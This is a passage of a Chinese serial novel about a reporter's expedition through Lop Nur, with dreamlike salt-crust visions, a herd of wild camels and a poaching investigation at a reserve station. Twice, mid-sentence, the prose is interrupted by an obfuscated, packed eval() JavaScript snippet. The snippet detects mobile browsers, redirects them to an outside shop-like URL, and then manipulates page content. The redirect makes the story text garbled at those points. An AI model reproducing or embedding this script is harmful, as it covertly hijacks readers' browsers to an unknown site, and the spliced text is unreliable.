叶葆启开始写日记。笔记本的纸张因干燥而卷曲，钢笔水渗出即被吸干，字迹边缘长出了盐的绒毛。 9月15日，向死而生。 大地是烘烤过头的馕，裂纹中藏着上一个纪元的遗嘱。车队如甲虫爬行在巨人的掌纹里，每一条纹路都是一条干涸的河。想起玄奘《大唐西域记》中写：“沙则流漫，聚散随风，人无行迹，遂多迷路。四远茫茫，莫知所指。” 奇怪的是，并不觉得恐惧，反而有种归乡的错觉。或许每个中国人的记忆深处，都有一片罗布泊——那是所有消失之物的集体坟场，也是所有寻找的原点。 下午三时，气温升至四十六度。热风从车窗缝隙钻进，带着铁锈与骨粉的气味。突然，对讲机里传来急促的声音：“三号车！三号车爆胎！” 爆胎的是老海鸥的车。众人下车时，热浪如实体般撞来，叶葆启感到鼻腔粘膜瞬间干裂出血。地面温度超过六十度，鞋底发出焦糊的气味。 换胎的过程像慢动作的仪式。扳手烫得需要戴两层手套才能握住，螺栓在高温中膨胀，发出痛苦的呻吟。汗水刚渗出就蒸发，在衣服上留下一圈圈盐渍。随队医生李大夫——一个曾在非洲治过埃博拉的女医生——挨个检查每个人的瞳孔：“注意，脱水时最先出现的是幻觉。” 老海鸥却异常平静。他跪在爆裂的轮胎旁，用放大镜观察割破处的纹理，然后取出那台海鸥相机，对着轮胎拍了一张。“盐壳的切口，”他喃喃自语，“和彭加木水壶上的一模一样。” 继续前行一小时后，土垠遗址如海市蜃楼般从热浪中浮现。但这次不是幻觉——汉代烽燧的残躯矗立在黄昏的光中，土坯被风蚀成千疮百孔的蜂巢，每个孔洞里都住着时间的幼虫。 叶葆启走近抚摸墙体。触感不是土，而是某种介于骨殖与陶器之间的物质。他把耳朵贴在墙上，竟然听到了声音：不是风声，而是断续的、用古汉语发音的计数——“一百三十七、一百三十八……”那是戍卒数着望不到头的日子。 “你听见了？”老海鸥不知何时站在身后，手里拿着一块从烽燧下捡到的木简残片，“汉简会说梦话。特别是那些没写完的家书。” 考古队的王研究员用软刷清理着遗址边缘，突然惊呼：“快来看！”在烽燧基座下，露出一角织锦。轻轻抽出，是一块巴掌大的汉代“五星出东方利中国”锦护膊——本该在尼雅遗址出土的国宝，竟奇迹般出现在这里。 “这不合理，”王研究员的手在颤抖，“这花纹、这织法……但为什么是完整的？像昨天刚埋下。” 老海鸥举起相机：“也许时间在这里打了个结。” 夜晚，星空低垂得荒诞。银河不是天上的一条河，而是倾倒下来的光的瀑布，要把所有人冲进时间的下游。叶葆启裹着羽绒服坐在烽燧旁，看见老陈在测量星图，老海鸥在月光下擦拭镜头，李大夫在帐篷里用听诊器听自己的心跳——每个人都用自己的方式确认存在。 9月15日夜，土垠。 汉代戍卒的计数声还在继续。他们数到了多少？一千？两千？时间在这里是环形的，像烽燧顶上坍塌的圆。 老海鸥悄悄告诉我，彭加木失踪前一夜，也在看这样的星空。他说：“老彭指着天琴座说，那里有颗看不见的星，是楼兰公主的耳坠。”科学家不该说这样的话，除非他看见了我们看不见的东西。 今晚我明白了：罗布泊不是空白，而是过载。太多的死亡、太多的秘密、太多的目光（从班超到斯文·赫定）在这里堆积，压塌了时间的结构。于是过去渗进了现在，就像盐从地里渗出。 子夜时分，叶葆启被一种声音惊醒。那确实是歌声——女子的歌声，用听不懂的语言，从烽燧方向飘来。他掀开帐篷一角，看见月光下，那块汉代织锦自己在风中舒展，上面的五星图案像真正的星辰般闪烁。 第二天进入盐壳区时，世界失去了颜色。 不是黑白，而是所有颜色被漂白后的灰白。大地碎裂成无数多边形板块，每道裂缝深不见底，边缘锋利如史前巨兽的牙齿。车辆行驶其上，发出骨裂般的脆响。老陈命令每辆车保持五十米距离：“如果有一辆陷落，其他的还能救援。” 小杨突然指着窗外尖叫：“人脸！” 众人望去，只见一片盐壳上凸起清晰的五官轮廓——高鼻深目，头戴尖帽，是典型的吐火罗人面相。紧接着，越来越多的面孔从盐壳下浮现：汉人、羌人、粟特人、吐蕃人……整片大地变成了巨大的浮世绘。 “是盐的结晶过程记录了过往行人的倒影，”王研究员的声音发颤，“理论上不可能，但罗布泊有自己的理论。” 更诡异的事情发生在中午。车队停下来午餐时，李大夫发现医疗箱里多了一支玻璃注射器，里面装着淡蓝色液体，标签是褪色的俄文。“1964，”她辨认着，“苏联医疗队的抗辐射剂。可是我们没人带这个。” 老海鸥检查了每辆车的物资清单，摇头。“不是我们的。”他顿了顿，“也许是马兰基地的幽灵补给。” 叶葆启蹲在盐壳裂缝旁，用绳子系着温度计垂下去。十米、二十米、三十米……绳子放完，温度计还没触底。他把耳朵贴在裂缝边缘，听到了水声——不是幻觉，是真正的地下暗流涌动声。但这怎么可能？罗布泊干涸四十年了。 “你在听罗布泊的血液循环，”老陈不知何时走来，“中科院去年用地震波探测，发现湖盆下有一个直径三百公里的淡水透镜体。就像眼泪干了，但悲伤还在体内流动。” 下午三时，他们抵达湖心标志点。那块简陋的水泥碑孤独地立在世界的中心，上面只有三个字：“湖心”。然而围绕石碑的盐壳上，刻满了密密麻麻的字迹—— 彭加木在此找水 1980.6.11 核试验场转移人员 1967.10.16 楼兰考古队 1901.3.8 丝绸之路商队公元329年秋 且末国流亡者公元前176年 最早的一条是篆书：“穆天子西巡至此命刻石以记”。字迹在盐壳上不是刻上去的，而是从内部生长出来的，像骨头愈合后的疤痕。 叶葆启跪下来触摸那些字。盐的触感冰冷而温热，像同时触摸死与生。他感到一阵眩晕，仿佛所有在此留下痕迹的灵魂都通过指尖涌进他的身体：戍卒的乡愁、探险家的狂热、科学家的困惑、流放者的绝望……太多了，多到他的记忆宫殿开始崩塌。 “坚持住，”李大夫给他注射葡萄糖，“你这是集体记忆过载。每个人的大脑都有防火墙，但罗布泊会黑进系统。” 老海鸥终于拿出了那卷珍藏二十一年的胶卷。他在湖心碑旁支起帐篷作为暗房，用携带的化学药剂开始冲洗。所有记者围在外面，像等待神谕。 一小时后，老海鸥捧着湿漉漉的照片走出来，泪流满面。照片上不是彭加木，而是一个背对镜头走向东方的人形，但那个影子里，重叠着无数人影：穿汉甲的士兵、牵骆驼的胡商、持测量仪的技术员、戴防毒面具的军人……所有曾穿越罗布泊的人，都在那个影子里。 “我明白了，”老海鸥的声音像是从很深的地方浮上来，“彭加木不是一个人。他是所有寻找者的集合体。所以他永远不会真正消失——只要还有人在这片土地上寻找，他就一直在。” 在湖心扎营的夜晚，叶葆启经历了记者生涯中最奇特的“采访”。 午夜时分，他被热醒——不是气温升高，而是某种记忆的热辐射。走出帐篷，看见老陈、老海 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904192|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鸥、李大夫、王研究员都醒了，围坐在将熄的篝火旁。篝火没有燃料，燃烧的是盐壳析出的甲烷气体，火焰是诡异的蓝绿色。 “坐，”老陈指了指地面，“罗布泊要开故事会了。” 第一个开口的是盐壳本身。它的声音像无数片晶体摩擦：“我记住一切。每滴蒸发的水，每个倒下的生命。我是干涸的湖，也是液态的墓碑。时间在我这里不是线性的，是拓扑的——1980年可以紧挨公元前176年，只要它们的眼泪有相同的盐度。” 第二个是星空。银河真的在说话，用的是光的频率，老海鸥的相机能翻译：“我是所有迷路者的导航图。彭加木看懂了，所以他向东走。东不是方向，是隐喻——向着记忆的源头，向着集体无意识的海。” 第三个是风。它带来了一千种口音：“我是信使。汉代戍卒的家书、斯文·赫定的日记、核试验场的密电、彭加木的纸条……所有文字最终都会风化，但我会记住它们的振动频率。听——” 风突然转向，叶葆启清晰地听见了彭加木的声音，不是录音，是声波在盐壳间的无数次反射后抵达此刻：“……往东……水井……不是地理的东……是时间的前方……” 李大夫突然说：“我是所有在此逝去的生命。不是悲悼，是陈述。每个细胞分解时都会释放记忆肽，飘散在空中。你们此刻呼吸的，有楼兰新娘的叹息、有核物理学家最后的算式、有野骆驼的求偶信号。罗布泊的空气是记忆的气溶胶。” 王研究员捧起一把盐：“我是所有消失的文明。楼兰、米兰、精绝……不是‘灭亡’，是‘折叠’。当文明沉重到大地无法承载，就会折叠进地质层。所以你们看到的不是荒凉，是文明的折纸艺术。” 最后所有人都看向叶葆启。他意识到，该记者发言了。 他打开笔记本，但发现上面的字迹在月光下全部重组。9月15日的日记后自动接续了其他文字——是用他的笔迹，但不是他写的内容： 我是所有未讲出的故事。 1949年，残部穿越此地，一名军官留下半本《诗经》，夹着他女儿的照片。照片后被一只沙鼠衔去垫窝。 1972年，最后一批核试验撤离人员中，有个十八岁的技术兵偷偷埋下一封信，写给从未谋面的未婚妻。信纸是云母片，永远不会腐烂。 1996年，盗墓贼在此迷路，死前用最后的水拌盐，捏了一个小小的观音像。观音的面容是他母亲。 这些故事没有见证者，但罗布泊记得。而记者，就是让记忆重新获得见证的人。 叶葆启抬起头，发现天快亮了。蓝绿色的篝火渐熄，盐壳在晨光中恢复沉默。但有什么东西改变了——不是外界，是他记忆的拓扑结构。过去四十七年的所有采访碎片开始自动重组：青海的鸟鸣老人、三峡的移民、山西的矿工、东北的下岗职工……他们的故事原本散落在脑海里，现在突然连接成了另一张地图：一张关于“中国集体记忆”的地图。 “你拿到了，”老海鸥拍拍他的肩，“罗布泊给记者的真正礼物：不是素材，而是解码集体记忆的密钥。” 车队继续南行前，叶葆启独自走向湖心碑。他在盐壳上刻下自己的名字，但下一秒，字迹就被更多古老的名字覆盖——罗布泊不接受个人的署名，只承认集体创作的史诗。 他突然理解了彭加木“向东”的含义：不是地理方位，而是时间维度上的回溯与前瞻。向东，是向着文明记忆的源头，也是向着未来集体叙事的可能。记者就是那个永远“向东”的职业，在个人与集体、当下与历史、事实与记忆的交接带上，打一口永不干涸的“水井”。 车队启程时，叶葆启在日记本上写下最后一段话。这次字迹没有变异，完完全全是他自己的声音： 9月17日晨，离开湖心。 罗布泊不是空白，而是全息图。每一粒盐都储存着这片土地的全部记忆，就像全息图的每个碎片都能还原整幅图像。 记者亦然。我们每个人都是时代的全息碎片——采访过的每个人、见证过的每个事件、记录下的每个字，都储存着这个民族集体记忆的完整图谱。区别在于，有人终其一生没有解码自己携带的图谱。 感谢这片盐壳之地，它用极致的荒凉教会我：记忆不是负担，是引力。让个体不会飘散于虚无，让文明不会坠落于失重。 继续向南，继续记录。但我知道，真正的方向永远是“向东”——向着记忆的深井，向着故事的水源。 彭加木没有消失。他化作了所有寻找者的方向。 而我，才刚刚出发。 合上笔记本时，他感到前所未有的轻盈与沉重。轻盈是因为放下了对“独家”、“首发”的执念，沉重是因为明白了每篇报道都连接着千年的集体叙事。 前方的库姆塔格沙漠在晨光中泛起金红，像摊开的、等待书写的巨大纸卷。 叶葆启举起相机，不是拍风景，而是拍下自己映在车窗上的眼睛——那双眼睛里，此刻倒映着烽燧、盐壳、星图，以及所有即将被讲述的故事的雏形。 对讲机里传来老陈的声音：“前方有沙暴，所有人检查物资。记住，罗布泊的沙暴会带来两样东西：危险，以及被风从地底翻出的、埋藏千年的信件。” 叶葆启系紧安全带，手指拂过笔记本封皮。 他知道，真正的穿越刚刚开始。穿越的不仅是地理的“死亡之海”，更是记忆的“生命之洋”。而记者的使命，就是在这片海洋上，做一个永远“向东”的摆渡人。 车队迎着初升的太阳驶去，在盐壳上划出六道并行的轨迹。从高空看，那些轨迹恰似手掌的纹路——一只正在抚摸大地耳廓的、人类的手。 41. 第041章 驼影烙沙海 盐壳在车轮下发出碎裂的哀鸣，那声音像是千万片玻璃同时在月光下被碾碎——虽然此刻没有月光，只有白炽的太阳高悬，像一只熔化的金钵倒扣在天穹上。离开湖心标志点已有三日，采访队的五辆越野车如疲惫的甲虫，在罗布泊的皮肤上缓缓爬行。 叶葆启坐在第二辆车的副驾位上，隔着墨镜看出去，世界被染成一种浑浊的茶色。他的舌尖抵住上颚，试图从干燥的口腔黏膜上刮下一点湿润——这动作他今天已重复了三百二十七次，每次都以失败告终。水壶就挂在手边，但他不敢多喝，队长的话在耳边回响：“在这里，水不是饮料，是命。” “海市蜃楼。”司机老陈突然开口，声音沙哑如磨砂纸。 前方地平线上，一片蔚蓝的湖泊正在荡漾，湖岸边甚至有摇曳的芦苇。叶葆启眨了眨眼，那湖泊依旧在那里，诱惑着干渴的旅人。他想起祖父说过的话：在沙漠里，眼睛是最会撒谎的器官。 “昨天小张差点开过去，”老陈咧开干裂的嘴唇笑了，“要不是吴向导喊住，咱们现在已经在盐壳里挖车了。” 吴文港，车队的向导，此刻正坐在头车里。他是个蒙古族汉子，五十岁上下，脸被风沙雕刻成罗布泊的地形图——沟壑纵横，色泽赭红。他很少说话，眼睛却总是眯着，像在倾听这片荒漠低语。有人说他能听懂沙粒摩擦的语言，能闻出三十里外地下水的味道。 第三天下午，车队拐进一片古河床。 这里的景象忽然变了。坚硬的盐壳让位给柔软的沙地，沙地上散落着枯死的胡杨，它们扭曲的枝干伸向天空，像绝望者最后的手势。还有一些红柳包，那是植物用几十年时间将沙粒和枯枝编织成的坟墓——活着时固沙，死后成丘。 吴文港的头车突然刹住了。 整个车队停下，发动机的轰鸣逐一熄灭。寂静如潮水般涌来，那是一种有重量的寂静，压得人耳膜发胀。叶葆启听见自己的心跳，听见血液在太阳穴奔流的声音，甚至听见汗水从毛孔渗出、瞬间蒸发的细微嘶响。 吴文港下了车，没有关门——在这里，关门声能传出十里。他举起望远镜，那个铜框老式望远镜据说是他父亲留下的，镜片上刮痕累累，像是岁月的皱纹。他看了很久，久到叶葆启以为他变成了一尊盐雕。 “来了。”吴文港终于放下望远镜，声音轻得如同叹息，“野骆驼。很多。” “很多”这个词从他嘴里说出来，带着某种神圣的意味。 接下来的十分钟，车队像执行军事任务般缓慢移动，停在一座巨大的红柳包后。队员们匍匐着爬上沙丘，动作笨拙如初生的骆驼崽。叶葆启的膝盖陷入沙中，烫得他几乎跳起来——地表温度至少有七十度。 然后他看到了。 在古河床的对岸，越过一片起伏的沙梁，它们就在那里。 起初只是些移动的斑点，黄褐色融入黄沙，若不是那独特的韵律感，很容易被误认作飘忽的旋风。但随着眼睛逐渐适应，斑点开始分化、成形——修长的脖颈，挺拔的双峰，从容的步伐。 “我的老天爷......”摄影记者的声音在颤抖，他的相机已经举起来，快门声如饥渴的吞咽。 叶葆启没有立刻去数，他先是被那种气势震慑了。这不是动物园里慵懒的家骆驼，也不是旅游景点供人骑乘的牲畜。这些生灵身上有一种古老的东西，一种从丝绸之路时代就流淌在血脉里的记忆。它们的每一步都踩在时间的节拍上，不急不缓，仿佛知道这片沙漠所有的秘密。 “五十二头。”吴文港不知何时趴在了他身边，声音里有一种压抑的激动，“我数了三遍，五十二。” 五十二峰野骆驼。 它们正在干涸的河床里觅食，长而灵活的嘴唇精准地掠过低矮的盐生植物，避开那些带刺的部分。几头公驼站在外围，高昂着头，如哨兵般警惕。它们的眼睛大而温润，睫毛浓密得像帘幕，在眼睑投下阴影。叶葆启突然想到，这样的眼睛是为了在沙暴中保护视力进化而来的——自然的选择在这片土地上写下了太多这样的注解。 一头母骆驼身边跟着幼崽，小家伙的毛色比成年骆驼浅许多，近乎米白。它不安分地蹦跳着，用头顶母亲的侧腹，母骆驼则温柔地用脖颈回蹭。这个简单的动作让叶葆启喉头一紧——在这“死亡之海”的中心，生命依然在延续，以最朴素的方式。 阳光从西侧斜射过来，为每头骆驼镶上金边。它们的身影被拉长，投在沙地上，那些晃动的影子仿佛比实体更加真实，像是从地底浮上来的古老魂灵。叶葆启有种错觉：他看到的不是一群动物，而是一支驼队，一支穿越了时间的商队，从汉唐走来，驼铃无声，却载着丝绸、瓷器、香料和经文。 “它们在吃盐节草，”吴文港低声解说，他的呼吸吹动了沙粒，“这种草的根能扎到地下十米，找到水分。野骆驼的鼻子能嗅到三十里外的水源，它们的脚掌宽大，能在流沙上行走而不下陷。看那头领头的公驼——” 叶葆启顺着他指的方向看去。那是一头格外高大的骆驼，左耳有个V形缺口，像是某种古老的标记。它比其他骆驼更加警觉，头不停地转动，鼻孔张合，捕捉风中传来的信息。 “它至少三十岁了，”吴文港说，“我十年前见过它一次，那时它就是这个族群的领袖。看到它耳朵上的缺口了吗？那是狼咬的。它年轻时为保护幼崽，和狼群搏斗留下的。” “您记得每头骆驼？”叶葆启惊讶地问。 “记得一些。”吴文港的眼睛没有离开望远镜，“就像你记得邻居的脸。” 就在这时，头驼突然停止了咀嚼。它转向车队隐藏的方向，尽管隔着两公里，尽管有红柳包遮挡，它似乎还是察觉到了什么。整个骆驼群安静下来，所有的头都转向同一个方向。 时间凝固了。 叶葆启屏住呼吸，他能听见自己的心跳如擂鼓。那一刻，他感到自己不是观察者，而是被观察者——被五十二双古老的眼睛审视着，评判着。这些眼睛看过楼兰的繁荣，看过丝路的兴衰，看过探险队的白骨，看过核试验的火光。现在，它们看着他，一个带着相机和笔记本的闯入者。 头驼发出一声低鸣，那声音低沉而富有穿透力，不像家骆驼的嘶叫，更像某种号角。然后，它开始移动。 整个族群随之转身，向西边的沙梁走去。没有慌乱，没有奔跑，它们保持着来时的从容，仿佛这不是逃避，而是一次计划中的迁徙。小骆驼被护在中间，公驼殿后。它们爬上沙梁，一头接一头，在金黄色的沙脊上留下剪影。 最后一头骆驼消失前，回头望了一眼。 叶葆启确信，那头骆驼——耳朵有缺口的头驼——确实回头望了一眼。它的眼神穿越两公里的热浪，直直地落在他身上。那不是野兽的眼神，那是某种更古老、更智慧的存在。 然后，它们消失了。 从发现到消失，不到三十分钟。沙梁后只留下一串串蹄印，深而清晰，像大地的印章。 “它们知道我们在。”摄影记者喃喃道，相机还举在眼前，“但它们允许我们看了这么久。” 吴文港慢慢站起来，拍掉身上的沙。“它们习惯了。”他说，“这些年，保护站的人常来，不伤害它们。它们学会了区分枪和相机。” 回营地的路上，没人说话。每人都沉浸在刚才的震撼中。叶葆启看着窗外飞逝的风景——其实没有风景，只有无尽延展的荒芜——但此刻他觉得这片荒漠不一样了。它不再是不毛之地，而是某个巨大生命的躯壳，而那些野骆驼，是这躯壳中流动的血液。 当晚，他们在古河道旁扎营。 月亮升起来了，硕大、苍白，像死去的太阳。没有城市光污染，星空低垂得仿佛触手可及。银河横跨天际，如此清晰，叶葆启几乎能看见其中旋转的星云。 篝火燃起——用的是自带的燃气炉，吴文港严禁采集枯死的植物。“在罗布泊，每一株死去的植物都是纪念碑。”他说。 队员们围坐一圈，罐头食物在炉上加热，散发出久违的香气。但没人急着吃，大家还在谈论白天的遭遇。 “五十二头，这太不可思议了。”队长江明说，他是这次采访的领队，一个资深的环境记者，“我查过资料，野骆驼的典型族群规模是六到二十头。五十二头，这可能是迄今为止记录到的最大族群。” “它们在聚会。”吴文港忽然说。 所有人都看向他。火光在他脸上跳跃，那些皱纹时深时浅，像变换的地形。 “聚会？”叶葆启问。 “野骆驼每年会有几次大聚会，”吴文港往炉子里添了块燃料，“通常在古老的水源地。不同族群的骆驼会聚集，交流信息——哪里有水，哪里有食物，哪里危险。然后它们再分开，把信息带回各自的族群。” “像部落大会？”摄影记者感兴趣地问。 “更像老人的茶话会。”吴文港难得地笑了笑，“骆驼的寿命能到五十年，它们记得很多事情。那头耳朵有缺口的头驼，它可能还记得二十年前的某场沙暴，或者十五年前某个干涸的泉眼。” 他停下来，望着远处的黑暗。那里，野骆驼消失的方向，此刻只有月光下的沙丘，如凝固的波浪。 “我父亲也做过向导，”吴文港突然开始讲述，声音低沉，“他是罗布人，最后的罗布人之一。他说，野骆驼不是动物，是沙漠的魂魄。当年楼兰消亡时，是野骆驼带着最后的幸存者找到了新的水源。它们认识所有的秘密通道，所有的地下暗河。” 叶葆启迅速打开笔记本，借着火光记录。墨水的流动有些不畅，笔尖在纸上划出沙沙的声音，像春蚕食叶。 “六十年代，核试验场建立，”吴文港继续说，“大批野骆驼死亡。但总有一些活下来，躲进最荒凉、最核心的区域。我父亲说，它们是在为人类赎罪——人类造了孽，但野骆驼还守着这片土地，不让它彻底死去。” 炉火噼啪作响，火星升上夜空，与星光混在一起。 “我年轻时不信这些，”吴文港的眼睛映着火光，“我觉得骆驼就是骆驼，哪有什么魂魄。直到有一次，我独自在沙漠里迷路了，水喝光了，车也陷在沙里。我以为我要死了。第三天，我遇到一头野骆驼，独行的公驼。它看着我，然后开始走，走一段就回头看看我。我跟着它，走了整整一天，找到了一个盐水泉——人不能喝，但骆驼能。那泉边有保护站设的水窖，我活下来了。” 他顿了顿：“那头骆驼的左耳，有个V形缺口。” 所有人都屏住了呼吸。 “就是今天那头头驼？”摄影记者轻声问。 吴文港点点头：“十年了，它还认得我。今天它回头那一眼，是在打招呼。” 这个故事让夜晚的空气变得不同了。叶葆启感到背上起了一阵颤栗，不是寒冷，而是某种更深层的共鸣。在这个科学与理性统治的时代，在这片被卫星测绘了无数遍的土地上，依然存在着无法被数据解释的连接。 “野骆驼会做梦吗？”队里最年轻的记者小周突然问，他是个刚毕业的生物学硕士。 吴文港看了他很久，久到小周以为自己问了个愚蠢的问题。 “会。”向导终于回答，“我见过睡觉的野骆驼，它们的眼皮在快速颤动，像人做梦时一样。有时候，它们的腿会轻轻抽动，像在奔跑。也许它们在梦中回到丝绸之路，背上载着丝绸，耳边响着驼铃。也许它们在梦中看到了绿色的罗布泊，湖水荡漾，鱼鸟成群。” 那天晚上，叶葆启很晚才睡。 他躺在睡袋里，帐篷的帆布被风吹得啪啪作响。闭上眼睛，那些骆驼又出现了，在意识的黑暗背景上缓缓行走，如移动的星座。他想起吴文港的话：“这些家伙，是这片土地的真正主人。我们人类，只是过客。” 凌晨时分，叶葆启被一种声音惊醒。 那是一种低沉的共鸣，来自大地深处，又像是从极远处传来的雷鸣。他钻出帐篷，看见吴文港已经站在沙丘上，面向西方。 “是什么声音？”叶葆启走过去问。 “沙鸣。”吴文港没有回头，“沙丘在唱歌。只有在特定的湿度、特定的风速下才会出现。老人们说，这是沙子在讲述古老的故事。” 他们并肩站着，听那低沉悠长的鸣响。月光下，沙丘如银色的海洋，波光粼粼。叶葆启突然有种冲动，想脱掉鞋子，赤脚走进那片沙海，让沙粒漫过脚背，听听它们到底在说什么。 “您为什么一直做向导？”叶葆启问，“这工作太苦了。” 吴文港沉默了一会儿。“我父亲临终前说，罗布泊需要见证者。不是科学家带着仪器来测量，不是军人带着地图来勘察，而是能听懂它语言的人。野骆驼是它的声音，而我是翻译。” 他弯腰抓起一把沙子，让沙粒从指缝流下：“每粒沙都记得一些事情。风的形状，雨的味道，骆驼的蹄印，人的足迹。我是帮它们记住的人。” 第二天，车队继续向南。 接下来的旅程中，叶葆启开始以不同的眼睛观察这片荒漠。他不再只看到荒芜，而是看到时间的层次——最表层是现代的轮胎印，稍深处是考古队的探方，再深处是丝绸之路的驼道，最深处是远古湖泊的波痕。 第十天，他们发现了偷猎者的踪迹。 那是在一片风蚀雅丹区，红色的土丘如城堡耸立。吴文港首先看到了车辙——新鲜的，不超过两天。然后他们找到了营地遗迹：散落的烟头，压扁的罐头，还有...弹壳。 “7.62毫米步枪弹，”江明捡起一枚弹壳，脸色阴沉，“军用制式。” 最令人心寒的是，他们在不远处发现了一头野骆驼的骨骸。尸体已经被秃鹫和沙狐清理干净，只余白骨，在阳光下白得刺眼。从骨骼大小判断，这是一头成年公驼。头骨上有两个孔洞，一进一出。 吴文港跪在白骨旁，久久没有说话。他的手轻轻拂过骆驼的肋骨，动作温柔如抚摸新生儿。叶葆启看见他的手在颤抖。 “是它，”吴文港终于开口，声音嘶哑，“右后腿有旧伤，骨折后愈合的痕迹。我认识它，它属于另一个族群，通常活动在北边。它左耳上有独特的卷毛，像朵小花。”他指着头骨一侧，“这里，原本有那簇毛。” 所有人都沉默了。风穿过雅丹土丘，发出呜咽的声音。那头曾经活生生的骆驼，如今只剩下一具骨架，而盗猎者甚至没带走多少肉——从啃食痕迹看，他们只割走了驼峰和部分后腿，其余就扔给了食腐动物。 “为什么？”小周愤怒地问，“野骆驼的肉并不好吃，又柴又膻。皮也不如家骆驼值钱。为什么要杀它们？” “ trophy hunting（战利品狩猎）。”江明沉重地说，“有些人愿意花大价钱，只为说自己猎杀过世界上最珍稀的动物之一。一头野骆驼在黑市上能卖到数十万。” 吴文港站起来，他的眼睛红了，但不是因为悲伤，而是愤怒。“这不是第一次，”他说，“去年我们发现了三具尸体。保护站的人手不足，巡逻范围太大。盗猎者知道在哪里设伏，知道骆驼的迁徙路线。” 那天晚上，采访队的气氛完全不同了。白天的震撼和感动，此刻被一种沉重的责任感取代。叶葆启在日记中写道： “今天我见到了美的反面。如果说昨日那五十二峰野骆驼是生命的赞歌，那么今日这具白骨就是死亡的告示。在罗布泊，美与残酷只有一日之隔。盗猎者的子弹可以轻易击碎我们眼中的奇迹，让活生生的传奇变成一堆枯骨。记者之笔不仅是记录美的工具，更应该是抵抗野蛮的武器。” 第二天，他们改变计划，提前前往最近的自然保护站。 保护站设在阿尔金山北麓的一个绿洲边缘，只有三间平房和一个雨水收集窖。站长姓李，是个晒得黝黑的中年人，见到吴文港就用力拥抱。 “老吴！你又带人进来了？” “李站，有紧急情况。”吴文港简要说明了盗猎事件。 李站长的表情严肃起来。他带他们去看监控室——如果那能叫监控室的话。墙上贴着一张手绘的罗布泊地图，上面用不同颜色的图钉标记着野骆驼的观测点。一台老式无线电设备，几架野外摄像机，这就是全部家当。 “我们有五个巡逻队员，要负责四万平方公里的区域，”李站长苦笑，“每人一辆摩托车，每月配给八十升汽油。盗猎者开的是改装越野车，卫星电话，有时候还有无人机侦察。我们是在用长矛对抗火炮。” 叶葆启看着地图上密密麻麻的标记点，每个点都代表一次目击记录，一个生命的证据。而在一些区域，贴着黑色的小骷髅标记——盗猎现场。 “这是去年的记录，”李站长指着一片区域，“我们在这里发现了四具尸体。这是今年春天的，两具。盗猎有季节性，通常春秋两季，那是骆驼迁徙的时候。” “为什么不申请更多支持？”江明问。 “申请了，年年申请。”李站长摊手，“但保护野骆驼不像保护大熊猫那样吸引眼球。罗布泊太远，太苦，没有明星来代言，没有短视频能火爆。我们每年的经费刚够发工资和买汽油。” 吴文港突然说：“李站，把最近三年的盗猎点标记给我看看。” 李站长在地图上用红笔圈出十几个点。吴文港凝视良久，然后拿出自己的笔记本，翻到某一页，上面是手绘的骆驼迁徙路线图。 “看，”他用手指连接那些红圈，“盗猎点都集中在三个区域——孔雀河古河道、库姆塔格沙垄北缘、还有阿尔金山泉水带。这不是随机作案，他们知道骆驼必经之路。” “而且时间，”李站长补充，“都是新月前后。没有月光，便于隐蔽行动。” “内鬼。”吴文港吐出两个字。 房间里安静下来。远处传来风声，吹得铁皮屋顶嗡嗡作响。 “你是说，保护系统内部有人......”江明没有说完。 “不一定是我们的人，”吴文港说，“可能是牧民，是矿工，是任何了解骆驼习性又急需用钱的人。盗猎者付钱买信息，一条可靠的情报值几千块。” 叶葆启感到一阵寒意。他想起了那五十二峰骆驼，想起了那头耳朵有缺口的头驼。它们信任这片土地，遵循着祖先传下的路线，却不知道有人类正用这些知识来设下死亡陷阱。 那天下午，采访队决定在保护站多留一天，帮助整理资料，制定报道方案。叶葆启主动请缨，要写一篇深度报道，不仅讲野骆驼的美丽，更要讲它们面临的威胁。 “要写得让人心痛，”江明说，“心痛到读者坐不住，要捐款，要写信，要做点什么。” 夜晚，叶葆启坐在保护站院子里写作。桌上点着汽灯，飞蛾围绕着光焰飞舞，在笔记本上投下晃动的影子。他写道： “在罗布泊的星空下，我听过沙丘唱歌，看过五十二峰野 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904193|192343||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骆驼如帝王般巡行。我也见过被偷猎者杀害的骆驼白骨，在烈日下白得刺眼。这片土地同时承载着生命的奇迹与人类的残忍，而后者正在蚕食前者。 “野骆驼不是普通的动物。它们是活着的化石，见证了丝绸之路的繁华与湮灭；它们是沙漠的魂魄，掌握着地下水源的秘密；它们是罗布泊最后的原住民，而我们都是后来的闯入者。 “然而，它们的生存空间正在被压缩。盗猎、采矿、非法旅游、气候变化......每一样都可能成为压垮这个珍贵种群的最后一根稻草。目前，全球野生双峰驼仅存不足一千峰，比大熊猫更加濒危。 “我们该怎么办？ “首先，扩大自然保护区范围，设立更多保护站。其次，增加巡逻力量和装备，用科技手段辅助保护——无人机、卫星追踪、智能摄像头。第三，严厉打击盗猎和非法贸易，提高违法成本。第四，加强公众教育，让更多人了解野骆驼的价值。 “但这都需要钱，需要关注，需要政治意愿。 “今晚，当我仰望罗布泊的星空，我想起那头耳朵有缺口的头驼。它回头看我那一眼，像是在询问：你们人类会让我们活下去吗？ “这个问题，需要我们用行动来回答。” 写到这里，叶葆启停下笔。汽灯的火焰跳动了一下，一只飞蛾扑进灯罩，发出轻微的噼啪声。他抬起头，看见吴文港站在院门口，望着远方的黑暗。 “吴师傅，”叶葆启叫他，“您来看我写的东西吗？” 